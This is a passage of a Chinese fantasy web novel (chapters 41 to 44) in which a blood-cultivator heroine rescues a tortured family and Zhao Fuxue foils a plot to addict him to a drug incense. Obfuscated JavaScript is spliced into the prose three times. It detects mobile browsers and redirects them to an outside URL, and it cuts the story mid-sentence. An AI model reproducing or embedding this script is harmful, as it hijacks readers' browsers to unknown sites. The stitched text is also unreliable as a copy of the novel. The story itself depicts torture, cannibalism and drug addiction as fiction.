况且她为血修,血修之体比寻常修士强健上十倍去,闻着尚且腿软,那站在一边的赵负雪,定然是反应更为剧烈了。 崔庆精光的小眼中盈满了志得意满的笑意:“此物雅名长醉,俗名叫黑金子——虽叫黑金子,却比真金子值钱得多,这小小一盘子,往小了说,买我崔家这半座百岁堂,不成问题。 说到此处,他理所当然地等待着赵负雪的惊呼,不料赵负雪岿然不动,只用那双黑得吓人的眼睛似笑非笑地盯着他。 崔庆被他盯得发毛,他吞了吞口水,继续道:“公子一定要问了,这东西为何如此金贵呢?我这就来给公子瞧瞧为什么。” 说着,他便取了一块黑金子凑到香炉上,手还没放上去,却被剑鞘拦住了。 他心惊胆战地抬头,不料赵负雪盯着他看了看,却笑道:“崔家主拍拍手,便有人不知从何处钻了出来,如此情形下,我着实不放心啊。” 原来是怕这个,崔庆悄悄松了口气。 想来也是,赵负雪身为赵家公子,自然是不会没听说过黑金子的名号,他方才还以为这公子定力超然,即便是有那等好货熏着,也照旧不对黑金子动心。 现在一想,嗐,什么赵家公子,什么剑骨天才,他就不信了,长醉香下,怎会有人还披着人皮? 这般想着,他也放下心来:“这样好,我把人都请出去,只叫赵公子一人独享,可好?” 赵负雪微笑着道:“崔家主诚意如此,我也不好留人,我身边这个,也一并出去吧。” 41. 第 41 章 封澄心中登时一紧,她不由得拉住了赵负雪的衣袖,紧紧盯着他,轻微地摇了摇头。 人,的确要救,可一想到赵负雪要孤身对上这两个不怀好意的恶徒,封澄心中便一阵发紧。 赵负雪笑容不变,他另一只手轻微地拍了拍封澄,道:“出去罢,再拖,要误事了。” 话已至此,封澄心中明白,若是她再强留,便不是做侍从的本分了,保不齐要惹得这两只狐狸怀疑。 她深深地看了赵负雪一眼,随后果断转身,走向了百岁堂的大门。 封澄只听背后赵负雪笑道:“请。” 此时此刻,二人背向而行,眼中却不约而同地露出了深不见底的狠意。 封澄出门,几个掠身便直奔地牢而去,起落间,甚至连瓦片与枯枝也未惊动。 这般行走无声,几波巡卫便一无所知地过去了,封澄轻飘飘地落在了地牢大门前。 地牢的入口并不难寻,难的是如何进去,封澄悄悄地贴在墙边,四处一看,这地牢只有这一个大门,四四方方。 封澄定睛一琢磨,觉得这门三长两短,活生生就是个棺材模样。 守卫森严,封澄想了想,咬开手指,血作胭脂,往嘴上抹了一道,又拆乱梳成双环髻的长发,大致一揉,再将外裳的肩袖衣摆处撕了个大概。 这么远远一看,好端端一个乖巧侍从,霎时红唇滴血,墨发凌乱,袒胸露腹。 ——倒是很符合常人对血修的刻板印象。 她将身上煞气放出些来,随即一步三摇,摇曳生姿地向着地牢门口去了。 地牢的棺材门前守着四个守卫,四人远远见封澄走来,竟然大气不敢出,恭恭敬敬道:“大人。” 果然有用,封澄心中大喜,她走到地牢门口,抬抬手,半死不活道:“奉上面的意思,把崔家余孽带走。” 四人闻言,犹疑地交换了一下视线,为首那人壮着胆子道:“可方才才有人说,这几个人密谋逃狱,罪无可赦,理应加刑,您这会儿进去,人大概没剩几口气了,如何能带走?” 封澄心中一突,面上却还是不显,笑道:“这可是上面的意思,哪怕里面都是死人了,我也要带走的。” 四守卫还在犹豫,封澄却等不了这几人的犹豫了,她眼一压,煞气便蠢蠢欲动:“若是误了我交差的,不知诸位的浑身血肉,够不够替我赔罪?” 这一招果然有效,见血修獠牙,四守卫当即炸了毛,不约而同地后退了一步,只有为首那守卫还强撑着胆气,颤巍巍道:“那,那大人公事公办,自便即可。” 封澄满意地走进了地牢,一进去,却笑不出来了。 这地牢的通道极为狭窄阴暗,从门口到第二个路口,几乎是个直上直下的坡,其后斗折蛇行更是诡异,且无比昏暗——这一路只有墙角几只臭油灯还半死不活地亮着。 这种地方,无风又无光,都不用那几个血修用刑,常人待上几天便活不成了。 潮湿而发腥的臭气扑面而来,封澄避无可避,扶墙冷静了片刻,随即面不改色地拐了进去。 地牢的尽头是一排的牢房,封澄一踏进去,脚下便忽然碰到了什么,她面无表情地低头,在看清粘地上的东西时,胸口猛地一窒。 血修吃肉和喝血,并不是什么人都吃的,世人之中,修士最佳,修士之中,天生灵力蕴足者最佳,而灵力蕴足者中,又以年轻者为最佳。 年轻人之中,又有更年轻人为修行上品。 封澄的脚边摆着一只小小的头骨。 头骨旁,是已经被吮至发灰的小小骨殖。 大部分的骨骼已经被吮吸得松散了,封澄怔怔低下头去捡,手一触上去,那灰白的小肋骨便不堪重负地散成了数节。 她站起来,心中不住地往下沉,耳边却在此时传来一声苍老的讽笑:“来一个血修,便要咂摸几口,阿欢的骨髓都被吸干了,你们还不肯放过他。” 封澄不语,她沉默地走去声源地。 老者道:“来晚咯,一口都没喽!” 封澄这时才看清了他的全貌,老者衣衫褴褛,头发灰白稀疏,杂乱如野草,衣不蔽体,穿着又黑又脏的破衣,脸膛与袒露出来的、鲜血淋漓的皮肉都是发黑的古铜色,他的一只眼睛颜色灰白,似乎已是看不见了。 他张狂大笑,牢狱上空被他的声音震下碎石来:“小畜生,尝尝我这老骨头的滋味如何!” 说着,老者双目血红地扑到牢房的栏杆上,死死地盯着封澄,这眼神怨毒而愤怒,封澄毫不怀疑,如若没有这道玄铁所铸的栏杆拦着,这老头定然会将她活活撕碎。 封澄垂下眼睛,手指停在了牢房的大锁上。 牢间昏暗,遮拦了她骤然变形的手指。 只听应声一道脆响,封澄抬起手来,撒下了一手的齑粉。 “出来,”她道,“还有多少活着的人,你去一并带出来。” 老者的手骤然定住了,他目不转睛地盯着封澄指尖落下的漆黑粉末,难以置信地抬头看向她,目光中是并未消散的警惕:“三刻钟前,这锁头被添了第三重阵法,老头儿身上添了七十九刀——现在演这出戏,莫不是觉得我崔岩是蠢货!?” 封澄耐心耗尽,一把将铁门踹开,狠狠地抓住了他的衣领,咬牙切齿道:“这牢门松得和个饭盒一样,想吃你们还用这么麻烦!赶紧把人带出来,一刻钟也别耽误。” 这一通吼把崔岩吼得茫然了,封澄盯着他,默了默,又道:“崔霁去了赵家,安然无恙。” “老尊者已知悉此事,如不出我所料,赵家天机师此时已经候在崔府四周了,等负雪公子带着证据出来,崔家血修即可伏诛。” 崔岩愣愣地眨了眨眼睛,封澄不敢置信地看着他,一颗一颗硕大的泪珠从他混浊的眼中滚了下来。 他哽咽道:“我这就去救人,我这就去!” 封澄一把拉住他,道:“先别急,你知不知道你家符阵的阵眼在哪里?” 崔岩一怔,随即道:“百岁堂从左向右数,第七只金貔貅的右眼玛瑙。” 封澄记下,便随着他去开锁,不过片刻,地牢中的崔家人便拖家带口地站在了封澄面前,封澄打眼一扫,二十几人中没一个好皮好肉,不是断了胳膊便是断了腿,还有几个重伤不醒,被血淋淋扶着抱着的。 这群崔家人跟着她向地牢外冲去,很快便来到了地牢门口,门口四守卫见封澄身后跟着如此大一群崔家人,当即大惊失色道:“大人,这这这……这也太多了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667229|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>封澄面无表情道:“上面大人的意思,你倒是插上嘴了。” 为首那人偷偷一瞄,只见这一群崔家人并未上任何枷锁,除了为首那个老头儿和一对夫妻满脸不能作假的怒色,剩下人的脸上皆有抑制不住的喜色,当即心生疑窦,不动声色道:“大人,您若将这些人全带走,我们自然也是不必在这地牢前守着了,按说如此大事,本应有人来予我们调任,可小的几个并未收到任何消息。” 封澄眯了眯眼,知道这人是怀疑了。 她道:“我只一句话,上面命令,你自管向上面问去。” 守卫道:“不知姑娘说的这个上面,到底是何人?也好叫小的们有个问的去路。” 话已至此,几乎是将怀疑敲在了脸上,身后的崔家人皆不约而同地紧张起来,怀抱着孩子的紧紧搂住孩子,扶着伤员的更是额间沁出冷汗。 谁知封澄从腰间摸了摸,竟然捞出一块亮闪闪的腰牌来,她将腰牌丢给那守卫,不耐烦道:“那大人知晓此事要紧,连随身腰牌都给了我,若是出事,他担着。” 这守卫捧着腰牌,仔细端详,封澄身后的崔家人屏息凝神,连口大气也不敢出。 时间一分一秒,过得格外漫长,那守卫将腰牌翻过来覆过来地仔细研究,终于抬起了头。 在那一刹,崔家众人的心跳齐齐停跳了一拍,封澄的指尖缓缓地停在了她的手心。 守卫将腰牌还给封澄,恭恭敬敬道:“原来是乌言大人的手令,小的们秉公办事,误了大人时辰,还请两位大人见谅。” 封澄道:“不妨事,事出有因。” 走出许久远,崔岩才敢走上前来,道:“少侠果真胆大心细,若非少侠出手,我等今日定然死无葬身之地了。” 封澄道:“说早了,能不能活得成,还不一定。” 崔岩迟疑片刻,道:“请姑娘明示。” “现下,我们要到百岁堂去,与负雪公子会和,以及解开崔家的符阵。”封澄慢慢道,“一路上守卫不少,跟紧些。若是出了事,诸位全得交代在这儿。” 对于重伤之人来说,这个要求苛刻了些,封澄的将腰间隐匿符统统掏出来:“大概是不够,先给重伤者用上,以免动静太大惊了人。” 隐匿符可匿气息,却不匿形体,几个重伤者接过,强撑着地点了点头。 “稍微能动的,谨慎些。守卫大致换班的路数我已摸清了,只要不出动静,我一定能把诸位安全送到百岁堂。” 说到此处,有一声弱弱道:“可是姑娘,我们不应该往外逃吗?为何非要去百岁堂。” 众人闻此,皆小心翼翼地看向封澄。 封澄看了看百岁堂的方向,微微一笑。崔岩道:“不破了百岁堂中阵眼,外面的赵家人如何进来?难道要他们以身破阵,伤痕累累吗?” 众人讷讷不语,崔岩又道:“你们之中,有几个能站直了走路的?少侠若不带我们走,只遇到头一波守卫,我们便会被统统抓回地牢里!难道少侠辛苦救咱们出来,就是让咱们再回去的吗?” 封澄向着百岁堂的方向走去,心中想:“其实还有个最要紧的。” 她心底声音微不可查。 “百岁堂中有一人,为我软肋,为我后背。” 42. 第 42 章 赵负雪的鼻尖萦绕着似有似无的香气,这气味似有似无,欲拒还迎,仿佛蛇尾巴似的勾人。 崔庆讨好道:“公子上座。” 一股青烟已经从香炉中袅袅而升,香气溢出的刹那,齐遥与崔庆皆陶醉地眯了眯眼睛,赵负雪冷眼看着他们二人的丑态,不动声色道:“只有这种货色?” 崔庆闻言,惊喜无比地与崔庆交换了视线,似乎没想到事情竟能这么简单:“懂了,赵公子见多识广,瞧不上这些。” 赵氏谨慎,教出来的公子定然也会谨慎,崔庆并没有蠢到一开始便在殿中燃“长醉”,他深知,哪怕是赵负雪今日染上了长醉,赵家也一定会不择手段地替他戒掉这个瘾。 长醉并不是头一日出现在大夏,平常人成瘾难戒,可赵家那种地方,却很难说有没有另外的法门——万一周寻芳那狠女人当真舍得剜掉赵负雪一层皮呢?他这个引诱赵负雪成瘾的人又该如何自处? ——故而,今日燃香,他便是奔着让赵负雪戒不掉而去的。 屋中所燃香料并非长醉本香,而是齐遥所供给的,香味与长醉极为相似的“诱香”。 崔庆的嘴角微微一勾。 这才是他今日最大的杀招。 这诱香,平常燃着,半分用处也没有,只不过是味道香些,留时久些罢了。 可若是这诱香掺入长醉中,长醉的效力便会像脱了缰的野虎一般成千上百倍地发作出来。 崔庆微微一笑,一粒诱香,便能将一位刚正不阿的如玉君子烧成撒泼打滚、烂泥一样的瘾君子。 且今日他上的可是市面上都少见的纯货,再加上这难得一见的诱香,哪怕是神仙来,今日也定然成瘾! 赵负雪见识过长醉、心有提防又如何?他猜得到长醉,他猜得到诱香吗? 想到这里,崔庆越发兴奋起来,他忍不住开始期待赵负雪成瘾难耐的模样了。 “我亲自来给赵公子取些纯货来!” 赵负雪只抱着剑,静静地等着。 崔庆乐颠颠地去取所谓的纯货了,此时大堂上便只剩了齐遥与赵负雪,齐遥的身体已被这长醉催出了惯性,他一把甩下大氅,眼睛不知何时已经兴奋地盯上了赵负雪 少年一身清风,站立如松,浑身都是令人难以忘怀的少年意气,他往这乌沉沉的百岁堂一站,便如同一湾漆黑粘稠的污水里,骤然钻入了一条清凌凌的银鱼一样。 干净得吓人,傲气得骇人。 可很快,这尾银鱼就要腐烂腥臭,与烂泥水乳交融、难舍难分了。 齐遥心痒难耐地凑过来,绕着他转了转,粘腻道:“公子比我从前见到时,更俊秀了些。” 赵负雪冷冷拔剑:“站远。” 齐遥没想到他还能站稳拔剑,被他这一剑骇了一跳,当即讪讪地后退了一步,他道:“哎,赵公子,不要这么见外,您贵人多忘事,自不记得我,我可记您记了多少年呢。” 说这话时,他的视线几乎能有实质,死死地黏在了赵负雪的脸上,令赵负雪分外恶心。 从这人口中得出的这句话,于赵负雪而言,无异于一条毒蛇吐着信子爬过来。 被血修偷偷地记住许多年,当真是想想就后背发寒。 赵负雪居高临下地看着他,又冷又傲的俊脸上是毫不掩饰的讽刺:“被赵家打出去的血修不知多少,若要我一个一个记着,那可真是恶心都恶心不够。” 齐遥阴森森地盯着他,半晌,突然道:“恶心?很快,你就不会觉得我恶心了。” 赵负雪连一个眼神也不给他。 齐遥噎了片刻,焦躁地踱了两步,又道:“你有没有觉得身上有些热?或者心口有些紧?” 这时候也该生效了。 说着,他便又不死心地向赵负雪凑过去,谁知还未凑近,门外便传来一声:“齐大人!” 齐遥被打断,深深地看了赵负雪一眼,转身怒道:“不长眼的东西,谁让你这时候过来的!?” 赵负雪看去,只见一人跪在百岁堂前,恭恭敬敬道:“实是有要事禀报。” 那人站在长醉的香气中,岿然不动,想必早已是身经数战的老手了,他跪地道:“乌言大人有两件事要禀报,第一件是崔霁疑似逃进赵家了,咱们的人进不去,请齐大人寻个说得上话的崔家人来。” 齐遥不耐烦道:“废物一个,抓个半疯的小子都抓不着——我知道了,还有什么事?” 那人沉默片刻,才敢开口道:“大人在追查崔霁途中,碰上了一个血修。” 齐遥挥袖转身,漠不关心道:“这有什么稀奇的,叫他自己跪上来拜会,难道还要我去请他!” 赵负雪眼神微动。 那人支支吾吾:“这……这……” 齐遥:“怎么?” “小的冒犯……听乌言大人说,那血修的来头恐怕不小。” 齐遥不傻,自然能听得出来此人的弦外之音——话里话外,倒是他应该去拜会那位血修! 他气得要笑了,道:“废物,灭自家志气,长他人威风,天下岂有你这样给人当下属的,扣着自己老大给人磕头。” 那人当即闭嘴了。 他也委屈,在血修之道中,哪有什么老大不老大?无非是拳头硬的和拳头没那么硬的。 若是得罪了乌言口中的上古大修,他觉得还是死在自己老大的手下比较划算。 血修的煞气,可全都是实打实的人命啊! 齐遥慢慢道:“你说说,那血修长什么样?” 他心中仍有一份顾忌,近日那几个老东西活动也频繁,若是有正好晃到洛京的,也说不定了。 “是……是个年轻女人,穿一身鹅黄外裳,行走如风,身量略高,手里拿着一杆长枪……” 只这么说着,齐遥便烦了:“哪里来的无名鼠辈!!” 他总觉得这个描述诡异地熟悉,细细一想,似乎不久前在哪里见过一个眼睛很大的、行走如风的人。 下属不敢多言,诺诺一声,便要退下,倏然齐遥回过头来,又道:“崔老狗取个东西,半日不回来,你顺路去后面看看,他莫不是自个儿偷吃上了!” 话音未落,便有一道女声笑道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701943|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不必寻了,我将人带到了。” 这声音在黑压压的大堂中显得分外清晰,就连堂中弥漫着的粘稠香气都被冲去了些。 崔家何时有这样一个人?齐遥的眼睛眯着看过去,只见一人背光而来,左手拖着一个肥胖瘫软的身影,右手一杆长棍,齐遥正疑惑这长棍是什么意思,却见她抬手一甩,亮出了枪尖。 齐遥猛地瞪大了眼睛——他知道这描述哪里熟悉了! 跟着赵负雪走进来的那个不声不响的侍从,可不就是一身鹅黄外裳吗! 那下属一见那长枪,当即连滚带爬地跑到了齐遥的身后,失声道:“大人,是她,是她!” 齐遥猛地睁大了眼睛,他不由自主地看向了赵负雪——可她是跟着赵负雪进来的! 他赵负雪从小到大,不知多少血修想要他的命,不知多少血修想把他的血肉一口口咂摸了个干净。 可此时此刻,他竟容许一个血修站在他身边?! 齐遥看了赵负雪,又看了看封澄,又难以置信地盯向了赵负雪。 随即,他看到赵负雪那副永远的都是冷冰冰的、不是杀意就是寒意的眼睛里,露出了些微不可察的笑意。 那笑意如星点似的,转瞬即逝,却夺目无比。 齐遥的心底陡然起了莫名的怒意,他危险地眯了眯眼睛,终于将视线分分给了封澄。 一个年轻的血修。 齐遥目不转睛地盯着她,心中慢慢升起了一股难以置信的感觉。 难道说,整个血修界使尽了各种手段,仍然吃不到的赵负雪,就这么被一个名不见经传的小丫头给勾走了? 她浑身上下看起来并没有丝毫的异常之处,长得不错,可绝对没不错到能让赵负雪神魂颠倒的程度,修为不错,可想必也不会强到能逼迫赵负雪屈服于她。 论财?论权? 对第一天机世家的公子以此相诱,就如同给皇帝送龙袍,纯粹多余。 她到底是怎么钻到赵负雪身边去的?难道是她藏得特别好,令赵负雪看不出她是血修? 对,齐遥这么想着——此时此刻,只有这一个解释了。 赵负雪走到了封澄身边,低头,眉眼含笑:“如何,可还顺利?” 她将崔庆随意地一甩,目光便在大堂中梭巡,视线有意无意地落在了堂前的那两排金貔貅上:“顺利是顺利了,恶心也的确恶心了。” 崔庆哆哆嗦嗦地滚在地上,怀中抱着的长醉香撒了一地,他道:“你,你是什么人!” 封澄居高临下道:“来送你上路的人。崔家主,你崔家地牢地下,可是热闹得很啊?” 地牢? 崔庆终于反应过来了,他当即指着封赵二人,浆糊一般的脑子终于反应过来了;“你们两个,是合起伙来骗我的!你们是崔霁拉来的救兵!” 他顿了顿,难以置信道:“你一个血修,怎么和赵家搅合在一起,管血修的闲事?” 赵负雪忽然一笑:“有件事得纠正一下。” “她是和我搅合在一起。” “和赵家没关系。” 43. 第 43 章 赵负雪这句没头没脑的话令整个大堂沉默了一下。 他的视线若有若无地飘向封澄,封澄却没注意到赵负雪方才说了些什么,她聚精会神地盯着堂前金貔貅,小声道:“你们家的人安排好了吗?” 赵负雪闻言,有些哑,片刻,挫败道:“方才你我来时,赵家之众便已然包围了崔府。” 封澄有些讶异,旋即点了点头,道:“既然如此,今夜这事便简单了,你我开了阵法,把这血修押出去便是了。” 她这句话并没有刻意地压低声音,饶是被长醉熏得昏沉,齐遥还是忍不住冷笑起来:“好大的口气。” 崔庆却急了,伸直了脖子道:“你赵家与崔家皆为世家,怎能率众围我府邸!、崔家家事,岂轮得到赵家来处置!” 不料赵负雪却好像听到了什么天大的笑话一样:“事到如今,你倒和我说这是你崔家家事?” 他走到香炉旁,信手打开香炉盖,忽然便笑了:“你意图引诱赵家公子用香成瘾,总不是你崔家家事吧?” 此言一出,崔庆便软倒在地:“……你知道?” 旋即,他怒吼道:“你知道,你还是进来了!你故意的!” 崔庆的脸上青一阵白一阵,他死死地盯着赵负雪,似乎不敢相信,赵负雪竟然默不作声地铸了这么大一口黑锅,悄然无声地就扣到他头上了! 引诱赵家公子用香成瘾,他都不敢想,若是叫周寻芳得知了此事,崔家上下能不能有一条活命! 他是这么想了,可看赵负雪这副云淡风轻的样子——显然是没做到的! 怎会如此?不是说赵家公子光风霁月,行事最为磊落,哪怕是江湖之上,众人也要赞一声侠义之人的吗? 他这般行事,鲁莽又大胆,难道他就不怕真的用香成瘾,戒也戒不掉吗? 这真是他熟知的、赵负雪的作风吗? 不,崔庆缓慢地眨了眨眼,终于发现了今晚的不对之处——若是他从前认得的那个赵负雪,今日连出现在崔府都不会。 什么崔霁的死活,什么崔家的死活,在这负雪公子眼底,统统是脚下泥尘! 莫说以身涉险跑来崔府管这件闲事了,崔霁死在他眼前,他都不会多分过一个视线来的。 赵家公子之无心薄情,他前几年便有所领教了。 江湖几年游历,竟把这清雅公子养成了一个多管闲事的狐狸。 赵负雪笑而不语,他看着封澄,认真道:“在京城,自然不能用江湖上的手段,将崔庆一剑捅了倒是简单事,只是崔家这一窝毒蛇,可就难清理了。” 封澄很给面子地点了点头。 崔庆打断道:“可那长醉……你绝无可能,绝无可能……” 赵负雪瞥了他一眼,良久,才道:“这香对我没用,从来都没用。” “即便是作恶,也是做不明白,做蠢货做到崔家主这个份上,到底还有什么意思。” 听闻这句话,崔庆终于两眼发直,颓然地跪倒在地。 琢磨来琢磨去,连压箱底的好货都拿出来了,独独没有算到,长醉对赵负雪没用。 他狠狠咬牙——诱香能千百倍地放大长醉的效果又如何? 长醉是零,千百倍了也是零! 齐遥目不转睛地将封赵二人的一举一动收归眼底,他并没有放过赵负雪面对封澄时细微的神情变动。 他惊骇无比地发现,雪人儿一样薄情冷淡的赵负雪,在面对那来路不明的血修时,露出了几乎能称之为鲜活的情绪。 喜,忧,期待,沮丧。 桩桩件件,旁人做了不奇怪,可做这些事的是赵负雪,这些事情便诡异到了一种连血修都接受不了的程度了。 这些情绪他也见到过,平常凡人家男子对上家中妻子、情窦初开的少年碰上心爱女子时,通常都是这副模样。 如此模样的男子意味着什么? 意味着那血修可对他恣意驱使,任意挑逗了! 别说咬他一口肉,喝他一口血,齐遥甚至觉得,哪怕那血修要赵负雪抽出一根骨头来给她,他都会毫不犹豫地照做。 越想,齐遥的牙就越痒,他盯着封澄的目光几乎要喷出火来。 她怎么能!她怎么敢! 整个血修界垂涎数年的赵负雪,就这么成了她的囊中之物了? 封澄总觉得背后寒毛直立,有种被什么东西盯上的感觉,她将目光梭巡片刻,准确地锁定了站在对面的血修。 这血修死死地盯着她,目光几乎能喷火,好像她与他有什么血海深仇一样。 这人谁?她从前认识吗? 封澄正奇怪着,那血修却陡然一甩手,掌心中霎时多了一条链刃,封澄心道一声不对,抬枪顶上。 这种软绵绵的兵器从来都是封澄最不愿处理的,正面交锋不得,阴招倒是不少,稍有不慎,连兵器也要被这链刃卷走。 不过血修倒没有武器脱手的顾及——长枪本就为她自身鲜血所化,旁人绞走,不过是绞了一汪血。 她对赵负雪道:“从左往右数,第七只貔貅的右眼玛瑙。” 虽不知他为何骤然发难,封澄还是提枪上了。 双方都是修炼有成的血修,煞气翻腾,可只一击,两面便试出了对面的深浅。 齐遥的一张脸已然惨白,他的手轻微地发抖,几乎要握不住手中的链刃。 怎么会,怎么会? 此时此刻,他看着封澄的眼神,与见了活鬼没有任何区别。 她压过来的枪,她身上翻腾的煞气,她身后站着的厉鬼亡魂。 都在这同一时刻,存在感异常鲜明地喧嚣着。 齐遥在这刹那,几乎瞪圆了眼眶,他艰难道:“什么人……你是,什么人……!” 封澄道:“送你去见阎王的人。” 封澄灵气煞气都极为了得,体术也了得,几个来回,齐遥这常年泡在毒香的虚身子便顶不住了,偏生此刻,外面传来数道破空之声,齐遥面如死灰地抬起眼来,只见周寻芳立在对面屋脊上,居高临下,身边数个白衣人依次落下,腰间剑光无比熟悉,且整齐划一。 那周寻芳的身边还站着一个穿黄褂子的人,即便是齐遥看不懂,崔庆也看懂了。 他难以置信——就这么短短一会儿,赵家不光纠集了人来,还把宫里的人也请来了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703141|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与此同时,院子中又不知从何冒出了一些破衣烂衫、血迹斑斑的人来,崔庆定睛一看,险些当场昏过去。 谁把地牢里的崔家人放出来了! 为首那老头他最为熟悉,当日迎齐遥进府,这崔岩便是反抗得最为激烈的! 这光棍老头,一无妻儿,二无父母,威逼利诱皆不作效,齐遥将他扣在地牢中,日日取血剖肉折磨,折磨了半年有余,这老头仍吊着一口气不肯死。 崔岩膝行几步跪下去,大哭道:“还请老尊者为我们做主啊!” 崔庆指着他,你你你了半日,周寻芳冷眼不语,封澄将齐遥拧出来,反手摔在众人前,正要回头去看赵负雪,不料赵负雪陡然脸一白,随即腿一软,眼看着就要倒下去。 封澄吓了一跳,当即什么也不管不顾了,一个箭步冲上去就扶他,赵负雪比封澄高出许多,也宽上许多,可这一着,他几乎柔弱地倒在封澄怀中,封澄霎时脑子便空了。 方才还好好的,为何这么一会儿,便突然倒了? 封澄心乱如麻,陡然又觉得肩上之人的身体骤然滚烫了的起来,她连忙道:“老尊者,赵公子出事了!” 周寻芳的眼睛扫了赵负雪一眼,当即嘴角有些抽搐。 她的脸向来是严厉无比的,此时此刻,身边人却在她脸上看到了一股类似于无可奈何的情绪。 周寻芳不忍直视道:“下去,看伤。” 话音方出,身边穿着黄褂子的人便拦住了她,他面色沉重,盯着赵负雪的脸似乎有所迟疑:“老尊者且慢,我瞧着公子这样子,倒不像是伤啊病啊什么的。” 周寻芳的脸上露出了一道恰好的疑惑:“怎么?” 黄褂子道:“这样,我来为公子看诊。” 崔庆在下面面如死灰,看着周寻芳与身旁姓姜的一唱一和。 演,就能演,真是能演! 从老到小,从里到外,统统该滚去那戏班子里唱戏! 那赵负雪方才亲口承认了长醉对他无用,现在摆出一副用香成瘾的样子给谁看! 崔庆由且悲愤不绝,一旁的齐遥却是脸黑似锅底。 旁人看不出来,他看得出来,就方才封澄转身那一瞬,赵负雪不动声色地捏了身上几处穴道,随即当着她的面,脸色变白,又突然变红,最后顺理成章地倒在她身上。 如此流畅,堪称行云流水,一气呵成。 齐遥气得心底大骂——赵负雪这做派,和他第四十九房姬妾讨宠时有什么区别!俩人连倒下的幅度都一模一样! 他一介大家公子,是如何学会这起做派的! 齐遥的目光又落在了一旁的封澄身上,只一眼,他又噎住了。 她的脸上是如假包换的焦急与茫然,那黄褂子下来把脉这会儿,她恨不得钻上去替了赵负雪了。 齐遥忽然便有些怜悯了。 ——他能看清姬妾的伎俩,并且乐在其中。 可这年轻的小血修,显然是被赵负雪糊弄跑了,还在这忧心忡忡呢。 他忽然便感觉赵负雪这做派合理了。 究其根本,一个愿打一个愿挨,无师自通,不过如此。 44. 第 44 章 崔府上下一片寂静,连重些的呼吸声都不闻,众人屏息凝神,等待着那黄褂子宣告赵负雪的伤势。 那人摸着下巴,沉默片刻,支支吾吾道:“老尊者!公子似乎并非外伤,而是……” 周寻芳面色淡淡:“不必吞吞吐吐,直接说了罢。” 黄褂子道:“是,小老儿学道不精,这么看上去,公子像是用了香……” 用香,这已经是足够委婉的说法,在场的众人皆是见过世面的,此时看赵负雪的样子,哪里会不知道这个“香”是什么香? 赵负雪的头埋在封澄肩上,软绵绵的,是被折磨狠了的模样。 崔家的死寂,比子夜更寂。 崔岩率众,跪地磕头,涕泪不绝道;“老尊者,姜大人,崔家血修作乱多日,上私卖毒香敛财无数,下屠戮无辜修行禁术,请老尊者去地牢看看,那血肉还未干啊!” 众人的目光小心翼翼地、不约而同地,移向了立于崔家最高处的那个女人。 崔家立家为财,故整片崔府大宅中,立了一只巨大的貔貅。 那貔貅足足有一个百岁堂高,周身皆以金片贴成,金光灿灿,宝光璀璨。 忽然,众人的耳中闪过一道惊天动地的霹雳之声! 这声如同山崩于面前,离那貔貅近些的人,竟然被这道轰鸣震得晕倒在地,这道雷声仿佛一圈圈的水波一样震散开来,远远处数座民宅接二连三地亮了灯,空无一人的街道里也陆续有人持灯出来探头探脑。 那原本坐着一只硕大貔貅的地方,已然便成了骇人的天坑。 周寻芳冷冷道:“崔家血修,不留活口,其余之人,押走。” 赵家众修士森然拔剑,只听剑啸,不闻人声。 洛京七月十六,夜,天雷降世,横天霹雳,是为洛京震悚。 有路人传言,说是七月十六那日,崔家的门槛漫成了红色。 七月十七日,是赵负雪昏睡过去的第二日。 封澄从门口侍从的手中接过汤药,抬脚推开了赵负雪的房门。 他的屋子简洁干净,摆设不多,花样也少,看着简朴又干净,唯有屋中燃着的袅袅香气一粒千金,是常人难得一见的宝物。 侍从恭敬道:“公子怕药味熏着了姑娘,特命人换了这味香,想是姑娘喜欢。” 封澄不做声地关上了门。 她垂眸盯着手中药碗,后背倚在门上,半晌,无力地捏了捏鼻根,反手把药放在了门口花案上。 、 赵负雪用药的时候,从不燃香,他鼻子挑剔得很,知道药气混着花香是很难闻的。 封澄走进内室,只见赵负雪躺在床上,微微闭着双眼,雪白安静地躺在榻上,许是听到了封澄的动静,他困难地睁开了眼睛,虚弱道:“你来了?” 她应了一声,熟练地走到窗前花案下,拖了一只软凳出来,赵负雪很注意地看着,眼睛微微眯了一眯。 封澄坐到赵负雪面前,面无表情道:“听说你不肯喝药,闭门不出?” 赵负雪点点头,又摇了摇头,就要坐起来:“我本就没病,喝药做什么,这几日闭门不出也只是演给外人看——谁去惊动你了?” 赵家上下严密如铁桶,若无赵负雪授意,谁敢把这消息捅到她的耳边? 封澄发现自己越发看不懂面前这个小师尊了,于是不动声色地看着他演。 